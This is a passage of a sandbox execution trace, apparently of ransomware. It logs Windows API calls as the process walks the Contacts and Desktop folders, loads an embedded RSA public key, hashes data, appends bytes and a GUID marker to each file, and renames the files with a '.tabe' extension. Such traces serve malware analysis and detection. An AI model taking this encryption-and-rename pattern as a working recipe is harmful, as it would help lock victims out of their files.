flProtect=0x4) returned 0x2be0000 [0125.969] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x470, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.969] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0125.971] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x496, lpOverlapped=0x0) returned 1 [0125.971] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0125.971] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0125.971] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0125.971] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866fb0) returned 1 [0125.972] CryptCreateHash (in: hProv=0x866fb0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0125.972] CryptHashData (hHash=0x3463888, pbData=0x3ae2ff8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0125.972] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0125.972] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0125.972] GetLastError () returned 0x0 [0125.972] SetLastError (dwErrCode=0x0) [0125.972] GetLastError () returned 0x0 [0125.972] SetLastError (dwErrCode=0x0) [0125.972] GetLastError () returned 0x0 [0125.972] SetLastError (dwErrCode=0x0) [0125.972] GetLastError () returned 0x0 [0125.972] SetLastError (dwErrCode=0x0) [0125.972] GetLastError () returned 0x0 [0125.972] SetLastError (dwErrCode=0x0) [0125.972] GetLastError () returned 0x0 [0125.972] SetLastError (dwErrCode=0x0) [0125.972] GetLastError () returned 0x0 [0125.972] SetLastError (dwErrCode=0x0) [0125.972] GetLastError () returned 0x0 [0125.972] SetLastError (dwErrCode=0x0) [0125.972] GetLastError () returned 0x0 [0125.972] SetLastError (dwErrCode=0x0) [0125.972] GetLastError () returned 0x0 [0125.972] SetLastError (dwErrCode=0x0) [0125.972] GetLastError () returned 0x0 [0125.973] SetLastError (dwErrCode=0x0) [0125.973] GetLastError () returned 0x0 [0125.973] SetLastError (dwErrCode=0x0) [0125.973] GetLastError () returned 0x0 [0125.973] SetLastError (dwErrCode=0x0) [0125.973] GetLastError () returned 0x0 [0125.973] SetLastError (dwErrCode=0x0) [0125.973] GetLastError () returned 0x0 [0125.973] SetLastError (dwErrCode=0x0) [0125.973] GetLastError () returned 0x0 [0125.973] SetLastError (dwErrCode=0x0) [0125.973] CryptDestroyHash (hHash=0x3463888) returned 1 [0125.973] CryptReleaseContext (hProv=0x866fb0, dwFlags=0x0) returned 1 [0125.973] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0125.973] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0125.973] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0125.973] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x840a88, Size=0x218) returned 0x3afbbd0 [0125.973] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x496, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.973] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0125.974] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0125.974] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0125.974] CloseHandle (hObject=0x618) returned 1 [0125.974] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\lulcit amkdfe.contact"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\lulcit amkdfe.contact.tabe")) returned 1 [0125.975] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="sikvnb huvuib.contact", cAlternateFileName="SIKVNB~1.CON")) returned 1 [0125.976] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact") returned=".contact" [0125.976] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\sikvnb huvuib.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0125.976] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=1172) returned 1 [0125.977] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0125.978] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x46e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.978] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0125.980] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x494, lpOverlapped=0x0) returned 1 [0125.980] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0125.980] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0125.980] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0125.980] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866fb0) returned 1 [0125.981] CryptCreateHash (in: hProv=0x866fb0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0125.981] CryptHashData (hHash=0x3463888, pbData=0x3ae2ff8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0125.981] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0125.981] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0125.981] GetLastError () returned 0x0 [0125.981] SetLastError (dwErrCode=0x0) [0125.981] GetLastError () returned 0x0 [0125.981] SetLastError (dwErrCode=0x0) [0125.981] GetLastError () returned 0x0 [0125.981] SetLastError (dwErrCode=0x0) [0125.981] GetLastError () returned 0x0 [0125.981] SetLastError (dwErrCode=0x0) [0125.981] GetLastError () returned 0x0 [0125.981] SetLastError (dwErrCode=0x0) [0125.981] GetLastError () returned 0x0 [0125.981] SetLastError (dwErrCode=0x0) [0125.981] GetLastError () returned 0x0 [0125.981] SetLastError (dwErrCode=0x0) [0125.981] GetLastError () returned 0x0 [0125.981] SetLastError (dwErrCode=0x0) [0125.981] GetLastError () returned 0x0 [0125.981] SetLastError (dwErrCode=0x0) [0125.981] GetLastError () returned 0x0 [0125.981] SetLastError (dwErrCode=0x0) [0125.981] GetLastError () returned 0x0 [0125.981] SetLastError (dwErrCode=0x0) [0125.982] GetLastError () returned 0x0 [0125.982] SetLastError (dwErrCode=0x0) [0125.982] GetLastError () returned 0x0 [0125.982] SetLastError (dwErrCode=0x0) [0125.982] GetLastError () returned 0x0 [0125.982] SetLastError (dwErrCode=0x0) [0125.982] GetLastError () returned 0x0 [0125.982] SetLastError (dwErrCode=0x0) [0125.982] GetLastError () returned 0x0 [0125.982] SetLastError (dwErrCode=0x0) [0125.982] CryptDestroyHash (hHash=0x3463888) returned 1 [0125.982] CryptReleaseContext (hProv=0x866fb0, dwFlags=0x0) returned 1 [0125.982] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0125.982] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0125.982] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0125.982] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x840a88, Size=0x218) returned 0x3afbbd0 [0125.982] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x494, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.982] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0125.982] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0125.982] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0125.983] CloseHandle (hObject=0x618) returned 1 [0125.983] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\sikvnb huvuib.contact"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\sikvnb huvuib.contact.tabe")) returned 1 [0125.984] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="sikvnb huvuib.contact", cAlternateFileName="SIKVNB~1.CON")) returned 0 [0125.984] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0125.984] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0125.985] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0125.985] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\") returned="Cookies\\" [0125.985] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0125.985] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0125.985] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0125.985] PathFindFileNameW (pszPath="") returned="" [0125.985] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="sikvnb huvuib.contact", cAlternateFileName="SIKVNB~1.CON")) returned 0xffffffff [0125.985] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0125.985] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0125.985] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="Desktop\\" [0125.985] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0125.985] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0125.985] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0125.985] PathFindFileNameW (pszPath="") returned="" [0125.985] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x144b07e0, ftLastAccessTime.dwHighDateTime=0x1d643ed, ftLastWriteTime.dwLowDateTime=0x144b07e0, ftLastWriteTime.dwHighDateTime=0x1d643ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0125.985] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x144b07e0, ftLastAccessTime.dwHighDateTime=0x1d643ed, ftLastWriteTime.dwLowDateTime=0x144b07e0, ftLastWriteTime.dwHighDateTime=0x1d643ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0125.985] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e149cb0, ftCreationTime.dwHighDateTime=0x1d5e719, ftLastAccessTime.dwLowDateTime=0xdb4d4940, ftLastAccessTime.dwHighDateTime=0x1d5e3ec, ftLastWriteTime.dwLowDateTime=0xdb4d4940, ftLastWriteTime.dwHighDateTime=0x1d5e3ec, nFileSizeHigh=0x0, nFileSizeLow=0xc77a, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="-E3i.jpg", cAlternateFileName="")) returned 1 [0125.986] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\-E3i.jpg") returned=".jpg" [0125.986] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\-E3i.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\-e3i.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0125.986] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=51066) returned 1 [0125.986] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0125.987] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xc754, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.987] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0125.988] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0xc77a, lpOverlapped=0x0) returned 1 [0125.988] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0125.988] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0125.988] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0125.988] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866bf8) returned 1 [0125.989] CryptCreateHash (in: hProv=0x866bf8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0125.989] CryptHashData (hHash=0x3463888, pbData=0x3ae2ff8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0125.989] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0125.989] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0125.989] GetLastError () returned 0x0 [0125.989] SetLastError (dwErrCode=0x0) [0125.989] GetLastError () returned 0x0 [0125.989] SetLastError (dwErrCode=0x0) [0125.989] GetLastError () returned 0x0 [0125.989] SetLastError (dwErrCode=0x0) [0125.989] GetLastError () returned 0x0 [0125.989] SetLastError (dwErrCode=0x0) [0125.989] GetLastError () returned 0x0 [0125.989] SetLastError (dwErrCode=0x0) [0125.989] GetLastError () returned 0x0 [0125.990] SetLastError (dwErrCode=0x0) [0125.990] GetLastError () returned 0x0 [0125.990] SetLastError (dwErrCode=0x0) [0125.990] GetLastError () returned 0x0 [0125.990] SetLastError (dwErrCode=0x0) [0125.990] GetLastError () returned 0x0 [0125.990] SetLastError (dwErrCode=0x0) [0125.990] GetLastError () returned 0x0 [0125.990] SetLastError (dwErrCode=0x0) [0125.990] GetLastError () returned 0x0 [0125.990] SetLastError (dwErrCode=0x0) [0125.990] GetLastError () returned 0x0 [0125.990] SetLastError (dwErrCode=0x0) [0125.990] GetLastError () returned 0x0 [0125.990] SetLastError (dwErrCode=0x0) [0125.990] GetLastError () returned 0x0 [0125.990] SetLastError (dwErrCode=0x0) [0125.990] GetLastError () returned 0x0 [0125.990] SetLastError (dwErrCode=0x0) [0125.990] GetLastError () returned 0x0 [0125.990] SetLastError (dwErrCode=0x0) [0125.990] CryptDestroyHash (hHash=0x3463888) returned 1 [0125.990] CryptReleaseContext (hProv=0x866bf8, dwFlags=0x0) returned 1 [0125.990] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0125.990] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: 